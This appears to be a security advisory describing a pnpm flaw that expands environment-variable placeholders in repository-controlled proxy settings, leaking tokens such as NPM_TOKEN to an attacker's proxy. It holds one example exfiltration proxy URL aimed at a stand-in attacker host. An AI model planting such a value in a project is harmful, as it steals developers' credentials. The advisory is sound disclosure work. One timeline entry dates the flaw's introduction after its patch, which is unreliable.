Junglewise Threat Intelligence

pnpm environment variable exfiltration via proxy settings

Severity: high · CVSS 7.4 · Published 2026-09-01

Executive brief

pnpm is a popular Node.js package manager that processes proxy configuration from project manifest files (pnpm-workspace.yaml). An attacker who controls a repository can embed environment variables like NPM_TOKEN or GITHUB_TOKEN into proxy settings, causing pnpm to exfiltrate those secrets to an attacker-controlled proxy server when a victim runs `pnpm install`. This exposes credentials used for package registry authentication and CI/CD pipelines.

Technical details

The vulnerability is an improper trust-boundary implementation in environment-variable expansion within pnpm's configuration loader. When pnpm reads proxy settings (httpProxy, httpsProxy, noProxy, proxy, noproxy) from a project-level pnpm-workspace.yaml file, it expands ${VAR} environment-variable placeholders. Since pnpm-workspace.yaml is repository-controlled (and therefore untrusted from a security perspective), this allows an attacker to craft proxy URLs like `http://${NPM_TOKEN}.attacker.com:8080`, which expands to leak the secret in the hostname or userinfo portion. The secret is exfiltrated during early config loading before any lifecycle scripts execute, requiring no pre-existing access to the victim's environment or node_modules. Registry-related settings (registry, pnprServer, registries, namedRegistries) already had placeholder expansion suppressed for untrusted sources, but proxy settings were omitted from this guard set. The fix adds proxy keys to the guarded request-destination key set, so placeholders in those fields are dropped rather than expanded.

Affected products

  • pnpm pnpm 10.7.0 to 10.34.4, 11.0.0 to 11.10.0

Timeline

  • 2026-09-01: disclosed: Published in GitHub Advisory Database as GHSA-vx52-2968-3vc6
  • 2026-07-09: patched: Patch merged in pnpm/pnpm#12871 for main branch
  • 2026-07-10: patched: Backport merged in pnpm/pnpm#12898 for v10 release branch; pnpm 10.34.5 and 11.11.0 released
  • 2026-10-07: other: Vulnerability introduced in pnpm 10.7.0 when environment-variable expansion in setting names and values was added

References